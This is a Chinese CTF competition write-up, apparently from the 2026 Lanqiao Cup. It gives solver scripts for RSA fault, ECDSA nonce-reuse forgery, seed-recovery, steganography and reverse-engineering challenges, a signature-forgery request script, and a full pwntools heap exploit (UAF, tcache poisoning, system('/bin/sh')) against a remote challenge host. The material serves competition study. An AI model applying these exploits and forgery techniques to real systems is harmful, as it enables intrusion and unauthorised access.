文章总结: 本文是2026年蓝桥杯CTF赛事中LRT团队的完整解题报告,涵盖faultystamp、doublesign、seed_receipt等6道赛题的详细解法。报告通过RSA参数恢复、ECDSA签名攻击、随机种子破解、WAL日志重组、信号隐写分析等技术手段,展示了从密码学漏洞到Web安全渗透的实战流程。每道题均提供可执行的Python代码实现和关键操作步骤,具有直接的CTF竞赛参考价值。 综合评分: 85 文章分类: CTF,WEB安全,二进制安全,漏洞分析,安全工具
2026蓝桥杯WP(LRT)
原创
LRT凌日 LRT凌日
凌日网络与信息安全团队LapR1skT
2026年4月26日 01:01 重庆
在小说阅读器读本章
去阅读
免责声明:由于传播、利用本公众号凌日网络与信息安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号凌日网络与信息安全团队及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
题目序号 题目名称
faulty_stamp
操作内容:
这道题给出了n,e,cipher,p是根据s_good和s_fault经过最大公约数gcd()函数得到的,算出p,之后直接根据n=p*q得到q,然后依次得到phi,d,以及明文m 如该题使用自己编写的脚本代码请详细写出,不允许截图
1. from math import gcd
2. fromCrypto.Util.number import inverse, long_to_bytes
3. n=4376391623420422090093125321247193997606178746835986896757980039875406307457754575765912346918411063231436257346706147995337640299058377914239903698206529
4. e=65537
5. s_good=1215462546937178480989928955032329371876376937587696844835636102409613045816885299683930703380803778980920223250158896812933428862730662189869680440962991
6. s_fault=3528092528175974455947733812329818046193185775378825376160301555808018696615021261487903570154559785404162102106766399756539357297019413781923298085052060
7. cipher=2893682879964766743522320790449865549540632243943763005715261841817782270701768093468232119779163352459853082410444548419721052039891196401139541267716111
9. p = gcd(s_good - s_fault, n)
10. q = n // p
11. phi =(p -1)*(q -1)
12. d = inverse(e, phi)
13. m = pow(cipher, d, n)
14. print("p = ", p)
15. print("q =", q)
16. print("flag =", long_to_bytes(m))
flag值:
flag{6148be08-c5ad-4dd8-9878-27894628e8cc}
double_singn
操作内容:
这个是私钥d泄露攻击,我们发现s1和s2都是用的同一个k和r,我们可以利用这个求出k,再用k求出d,再利用d得到合法的fack r和fack s
如该题使用自己编写的脚本代码请详细写出,不允许截图
1. from hashlib import sha256
2. p =0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
3. n =0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
4. Gx=55066263022277343669578718895168534326250603453777594175500187360389116729240
5. Gy=32670510020758816978083085130507043184471273380659243275938904335757337482424
6. pubkey_x =115748035156900906057048383724950485999004508295225809154867934087472956284658
7. pubkey_y =22045152941370687011016904436510325215459396959148228503113922275633614538645
8. z1=35803318665405666032048798908400774075259419311739592886871963585749689690594
9. z2=39793284188129639924973014131124626058788493396861207842790576967009843273958
10. r=58206291912047493001270768302978838281743794200134829962960013685718525623357
11. s1=50299823274630071383103819756925571651617257809878759631948693535171140512049
12. s2=55520076861554262741677107652353499562906081920501068121345625361837220482936
13. def inv(x):
14. return pow(x % n,-1, n)
15. k =((z1 - z2)* inv(s1 - s2))% n
16. print("k =", k)
17. d =((s1 * k - z1)* inv(r))% n
18. print("private key d =", d)
19. target = b"role=admin&action=read_flag"
20. zt =int.from_bytes(sha256(target).digest(),"big")
21. print("z_target =", zt)
22. fake_k =1
23. fake_r =Gx% n
24. fake_s =((zt + fake_r * d)* inv(fake_k))% n
25. print("fake r =", fake_r)
26. print("fake s =", fake_s)
替换自己的r和s然后输入即可
flag值:
flag{b8e78387-63a1-4edf-bae3-e080079ba26e}
seed_receipt
操作内容:
根据order_id随机生成6个随机数,再根据这个生成mask,根据得到了mask和cipher异或还原secret
如该题使用自己编写的脚本代码请详细写出,不允许截图
1. import random
2. ts =1715071200
3. order_id =2024042701
4. cipher = bytes.fromhex("246a346dc207c5508810015b1a727ca2050e17490903ae3f91988ac56020c90e4e937d9240c03a2e723a")
5. random.seed(ts ^ order_id)
6. _ ="".join(str(random.randint(0,9))for _ in range(6))
7. mask = bytes(random.randint(0,255)for _ in range(len(cipher)))
8. secret = bytes(c ^ m for c, m in zip(cipher, mask))
9. print(secret.decode())
flag值:
flag{44ba9b4f-b616-4d2f-b0f1-44a144b79b6e}
wal_recover
操作内容:
先使用记事本打开db-wal,得到
1. 4312024-04-0110:01:20sync-botpart:05:[ZGIyNmV9]8392024-04-0110:01:16sync-botpart:04:[Zi01ODA1NTA2]8392024-04-0110:01:12sync-botpart:03:[LTQ1MjMtOTgz]8392024-04-0110:01:08sync-botpart:02:[ZTdkNy04YWY4]7392024-04-0110:01:04sync-botpart:01:[ZmxhZ3tkNGZi]牪趹醊?Y)
2. ??????
然后根据时间先后顺序把他们拼接后解码base64,
flag值:
flag{d4fbe7d7-8af8-4523-983f-5805506db26e}
drift_oracle
操作内容:
读取csv文件,取出里面的正常数据,然后利用线性+周期正弦余弦模型拟合正常规律,算出整条数据的理论基线,再利用真实值-基线=残差,算出残差,之后每3个点为一位来计算,取出异常位置,再转二进制,最后得到隐藏信息。
1. import pandas as pd
2. import numpy as np
3. df = pd.read_csv("monitor.csv")
4. x = df["idx"].values
5. y = df["value"].values
6. normal_x = x[:280]
7. normal_y = y[:280]
8. period =126
9. M = np.column_stack([
10. np.ones_like(normal_x),
11. normal_x,
12. np.sin(2* np.pi * normal_x / period),
13. np.cos(2* np.pi * normal_x / period)
14. ])
15. coef = np.linalg.lstsq(M, normal_y, rcond=None)[0]
16. M_all = np.column_stack([
17. np.ones_like(x),
18. x,
19. np.sin(2* np.pi * x / period),
20. np.cos(2* np.pi * x / period)
21. ])
22. baseline = M_all @ coef
23. residual = y - baseline
24. positions = np.arange(280, len(df),3)
25. bits =[]
26. for pos in positions:
27. bits.append(1if residual[pos]>0else0)
28. length_bits = bits[:16]
29. length =0
30. for b in length_bits:
31. length =(length <<1)| b
32. print("payload length:", length)
33. payload_bits = bits[16:16+ length *8]
34. data = bytearray()
35. for i in range(0, len(payload_bits),8):
36. byte_bits = payload_bits[i:i+8]
37. val =0
38. for b in byte_bits:
39. val =(val <<1)| b
40. data.append(val)
41. print(data.decode())
flag值:
flag{a91b0bbf-e6fd-42dd-b9a6-5ef4f2bc695f}
map_tracer
操作内容:
访问/app.js路由可以得到app.js.map文件,得到部分源码可以得到
接口:/api/trace/internal/list
签名值:trace_dev_2026
签名算法:function buildSignature(path, ts) {
return md5(${path}${ts}${SIGN_SALT});
}
附上exp:
1. import time
2. import hashlib
3. import requests
5. base="https://eci-2ze00n473hjck6mcixyq.cloudeci1.ichunqiu.com:5000/"
7. path ="/api/trace/internal/list"
8. salt ="trace_dev_2026"
10. ts = str(int(time.time()))
11. sign = hashlib.md5((path + ts + salt).encode()).hexdigest()
13. url =base+ path
15. headers ={
16. "X-Timestamp": ts,
17. "X-Signature": sign,
18. }
20. params={
21. "ts": ts,
22. "sign": sign,
23. }
25. r = requests.get(url,params=params, headers=headers)
27. print("[+] status:", r.status_code)
28. print(r.text)
解base64
Flag值:
flag{72800324-5cad-438d-b27b-5ce2fb71d35e}
逆向分析
veil_gate
veil_gate为主程序,panel.dat中存储着主程序运行时需要的数据
大致看出检验数据文件传入时,失败faild,成功ok strings -a veil_gate后可以看到
1. mgUa
2. fgets
3. stdin
4. puts
5. __stack_chk_fail
6. fread
7. fopen
8. strcspn
9. __libc_start_main
10. __cxa_finalize
11. memcmp
12. fclose
13. libc.so.6
14. GLIBC_2.4
15. GLIBC_2.2.5
16. GLIBC_2.34
17. _ITM_deregisterTMCloneTable
18. __gmon_start__
19. _ITM_registerTMCloneTable
20. AVAUATUSH
21. \$ H
22. TPK2tDL
23. []A\A]A^A_
24. ~D$ <0
25. L$ 1
26. t$"1
27. A]A2
28. |$ E1
29. L$!H
30. M\kz
31. |$ A
32. PTE1
33. u+UH
34. l=rb
35. panel.dat
36. load failed
37. read failed
38. 9*3$"
39. GCC:(Ubuntu13.3.0-6ubuntu2~24.04.1)13.3.0
40. .shstrtab
41. .interp
42. .note.gnu.property
43. .note.gnu.build-id
44. .note.ABI-tag
45. .gnu.hash
46. .dynsym
47. .dynstr
48. .gnu.version
49. .gnu.version_r
50. .rela.dyn
51. .init
52. .plt
53. .plt.got
54. .text
55. .fini
56. .rodata
57. .eh_frame_hdr
58. .eh_frame
59. .init_array
60. .fini_array
61. .dynamic
62. .data
63. .bss
64. .comment
65. int main(){
66. load_panel("panel.dat");
68. fgets(input,0x80, stdin);
69. input[strcspn(input,"\n")]=0;
71. if(check(input)){
72. puts("ok");
73. }else{
74. puts("no");
75. }
76. }
- 分析 panel.dat 的文件结构
- 逆向输入校验算法 Panel.dat大小为420 bytes = 0x1a4 根据逆向分析,可以把它划分成如下结构:
1. |偏移|大小|含义|
2. |---|---:|---|
3. |`0x000`|`0x04`| magic,固定为`TPK2`|
4. |`0x004`|`0x04`|混淆后的 meta 信息|
5. |`0x008`|`0x18`| seed,长度24|
6. |`0x020`|`0x80`| block_a |
7. |`0x0a0`|`0x80`| block_b |
8. |`0x120`|`0x40`| block_c |
9. |`0x160`|`0x40`| target |
10. |`0x1a0`|`0x04`| check 值|
11. panel.dat的0x04~0x07保存了4字节 meta:
12. const= bytes([0x5a,0xa5,0x6c,0x3d])
14. meta = bytes([
15. data[4+ i]^const[i]
16. for i in range(4)
17. ])
19. print(list(meta))
20. meta[0]= key0 =0x26
21. meta[1]= key1 =0x5f
22. meta[2]= key_len =16
23. meta[3]= flag_len =38
24. 程序中会多次使用8位循环左移操作。
26. Python表示如下:
28. ```python
29. def rol8(x, r):
30. r &= 7
31. x &= 0xff
32. if r == 0:
33. return x
34. return ((x << r) | (x >> (8 - r))) & 0xff
检测flag
整体思路为程序从 panel.dat 中读取加密数据
再通过 seed / block_a / block_b / block_c 生成 key、table、pad
最后对输入进行位置打乱、异或、循环移位、table 映射和状态更新
exp:
1. from pathlib importPath
3. data =Path("panel.dat").read_bytes()
4. def rol8(x, r):
5. r &=7
6. x &=0xff
7. if r ==0:
8. return x
9. return((x << r)|(x >>(8- r)))&0xff
10. # 解析 panel.dat
11. const= bytes([0x5a,0xa5,0x6c,0x3d])
12. meta = bytes([
13. data[4+ i]^const[i]
14. for i in range(4)
15. ])
16. key0 = meta[0]
17. key1 = meta[1]
18. key_len = meta[2]
19. flag_len = meta[3]
20. print("[+] meta:", list(meta))
21. print("[+] key_len:", key_len)
22. print("[+] flag_len:", flag_len)
23. seed = data[0x08:0x20]
24. block_a = data[0x20:0xa0]
25. block_b = data[0xa0:0x120]
26. block_c = data[0x120:0x160]
27. target = data[0x160:0x1a0]
28. check =int.from_bytes(data[0x1a0:0x1a4],"little")
29. # 生成 key24
30. key24 =[]
31. c = key0
32. for i, b in enumerate(seed):
33. v = b ^(c &0xff)^(0x33+7*(i &3))
34. key24.append(v &0xff)
35. c =(c +0x0b)&0xffffffff
36. # 生成 table
37. table =[0]*256
38. for i in range(128):
39. table[2* i]= block_a[i]^ key24[i % key_len]
40. table[2* i +1]= block_b[i]^ key24[(i +5)% key_len]
41. inv_table ={v: i for i, v in enumerate(table)}
42. # 生成 pad
43. pad =[0]*64
44. for i in range(64):
45. pad[i]=((i +0x5d)&0xff)^ block_c[i]^ key24[(3* i +1)% key_len]
46. # 逆第二层校验
47. tmp =[0]* flag_len
48. edi =int.from_bytes(meta[:2],"little")
49. edi =((edi <<8)|(edi >>8))&0xffff
50. r8 =3
51. r9 =1
52. for i in range(flag_len):
53. out= target[i]
54. rem =(edi + i + pad[i])% key_len
55. need_table =(out- rol8(edi, i)- i)&0xff
56. x = inv_table[need_table]
57. tmp[i]= x ^ key24[rem]
58. edi_temp =(edi *0x83)&0xffffffff
59. p = pad[r8 % flag_len]
60. r8 +=7
61. edi_temp ^= p
62. ecx =out
63. ecx ^= edi_temp
64. k2 = key24[r9 % key_len]
65. r9 +=5
66. edi =(k2 + ecx)&0xffffffff
67. # 逆第一层输入扰动
68. flag =[0]* flag_len
69. for i in range(flag_len):
70. pos = pad[i]% flag_len
71. v =(tmp[i]- rol8(key0, i))&0xff
72. x = v ^ key24[(pos + i)% key_len]
73. if i %2==0:
74. ch = rol8(x,4)
75. else:
76. ch = x
77. flag[pos]= ch
78. flag = bytes(flag)
80. print("[+] flag:", flag.decode())
flag{9d7a228ca5825bc15cd60bee0bb6d585}
note_heap
是个uaf的pwn题,看了下大致思路为tcache poisoning 让 malloc 返回 ops,把里面的 free 函数指针改成 system,最后删除 /bin/sh note 拿 shell。
看了一下保护全开
运行一下看下菜单内容,将程序拖进IDA看一下
在 init_io 中,程序会先申请一个 0x68 大小的堆块:
1. asm
2. mov edi,0x68
3. call malloc
4. mov qword ptr [rip + ops], rax
翻译成伪代码大概是:
1. c
2. ops = malloc(0x68);
4. ops[0]=(uint64_t)ops >>12;
5. ops[1]= free;
6. `add_note`的逻辑大致如下:
9. void add_note(){
10. int idx = read_int();
12. if(idx >7|| notes[idx]!= NULL){
13. puts("done");
14. return;
15. }
17. size_t size = read_int();
18. if(size >0x500){
19. puts("done");
20. return;
21. }
23. notes[idx]= malloc(size);
24. sizes[idx]= size;
26. printf("note: %p\n", notes[idx]);
27. read(0, notes[idx], size);
29. puts("done");
30. }
31. ```
- 最多有 8 个 note
- size 最大 0x500
- add 时会打印 note 地址
edit_note逻辑大致如下:
1. void edit_note(){
2. int idx = read_int();
4. if(idx >7|| notes[idx]== NULL){
5. puts("done");
6. return;
7. }
9. read(0, notes[idx], sizes[idx]+0x18);
10. }
11. ```
这里有两个问题:
第一,delete 后没有清空指针,因此 notes[idx] 仍然不是 NULL,可以继续 edit,形成 UAF。
第二,edit 的长度是:
1. text
2. sizes[idx]+0x18
比原本申请的 size 多写 0x18 字节,存在堆溢出。
本题主要使用 UAF 修改 tcache 链表指针。
show_note 逻辑大致如下:
1. void show_note(){
2. int idx = read_int();
4. if(idx >7|| notes[idx]== NULL){
5. puts("done");
6. return;
7. }
9. write(1, notes[idx], sizes[idx]);
10. puts("");
11. }
由于 delete 后没有清空指针,所以释放后的 chunk 仍然可以 show。 这就可以泄露 unsorted bin 中残留的 libc 地址。
delete_note 并不是直接调用:
1. free(notes[idx]);
而是
1. mov rax, qword ptr [rip + ops]
2. call qword ptr [rax +0x8]
翻译成伪代码:
1. ```c
2. void delete_note() {
3. int idx = read_int();
5. if (idx > 7 || notes[idx] == NULL) {
6. puts("done");
7. return;
8. }
10. ops[1](notes[idx]);
12. puts("done");
13. }
正常情况下: ops[1] = free 所以等价于free(notes[idx]);如果我们能把:ops[1]改成:system那么 delete 就会变成system(notes[idx]); 只要 note 内容是: /bin/sh\x00 执行 delete 时就会触发:system(“/bin/sh”); 整体利用流程如下:
- 利用 unsorted bin 泄露 libc
- 计算 libc_base 和 system 地址
- 利用 UAF 修改 tcache fd
- 通过 tcache poisoning 申请到 ops
- 覆盖 ops[1] 为 system
- 创建内容为 /bin/sh 的 note
- delete 该 note,触发 system(“/bin/sh”)
Exp:
1. from pwn import*
3. context(os="linux", arch="amd64", log_level="debug")
4. elf = ELF("./note_heap")
5. libc = ELF("./libc.so.6")
6. io = remote("60.205.220.111",20513)
7. # io = process("./note_heap")
8. def add(idx, size, data):
9. io.sendlineafter(b"> ", b"1")
10. io.sendlineafter(b"idx: ", str(idx).encode())
11. io.sendlineafter(b"size: ", str(size).encode())
12. io.sendafter(b"data: ", data)
13. def edit(idx, data):
14. io.sendlineafter(b"> ", b"2")
15. io.sendlineafter(b"idx: ", str(idx).encode())
16. io.sendafter(b"data: ", data)
17. def show(idx):
18. io.sendlineafter(b"> ", b"3")
19. io.sendlineafter(b"idx: ", str(idx).encode())
20. defdelete(idx):
21. io.sendlineafter(b"> ", b"4")
22. io.sendlineafter(b"idx: ", str(idx).encode())
23. io.recvuntil(b"debug slot: ")
24. ops_addr =int(io.recvline().strip(),16)
25. io.recvuntil(b"ops chunk: ")
26. ops_addr2 =int(io.recvline().strip(),16)
27. log.success("ops_addr = "+ hex(ops_addr))
28. log.success("ops_addr2 = "+ hex(ops_addr2))
29. add(0,0x500, b"A"*0x500)
30. add(1,0x20, b"B"*0x20)
31. delete(0)
32. show(0)
33. leak = u64(io.recv(8).ljust(8, b"\x00"))
34. log.success("unsorted leak = "+ hex(leak))
35. libc_base = leak -0x3ebca0
36. system_addr = libc_base + libc.symbols["system"]
37. log.success("libc_base = "+ hex(libc_base))
38. log.success("system_addr = "+ hex(system_addr))
39. add(2,0x68, b"C"*0x68)
40. add(3,0x68, b"D"*0x68)
41. delete(2)
42. delete(3)
43. edit(3, p64(ops_addr))
44. add(4,0x68, b"E"*0x68)
45. payload = p64(0)+ p64(system_addr)
46. payload = payload.ljust(0x68, b"F")
47. add(5,0x68, payload)
48. add(6,0x20, b"/bin/sh\x00")
49. delete(6)
51. io.interactive()
flag{afc2f78e-c040-4e89-b108-d229ff0e71a9}
文案|李昕洋、李嘉豪
排版|孟凡杰 校正|林炳辰
审核|李翰韬
免责声明:由于传播、利用本公众号凌日网络与信息安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号凌日网络与信息安全团队及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:凌日网络与信息安全团队LapR1skT LRT凌日 LRT凌日《2026蓝桥杯WP(LRT)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。







![[吃瓜速递]又一位大佬公众号卖号“离场”了](/images/random/titlepic/6.jpg)


评论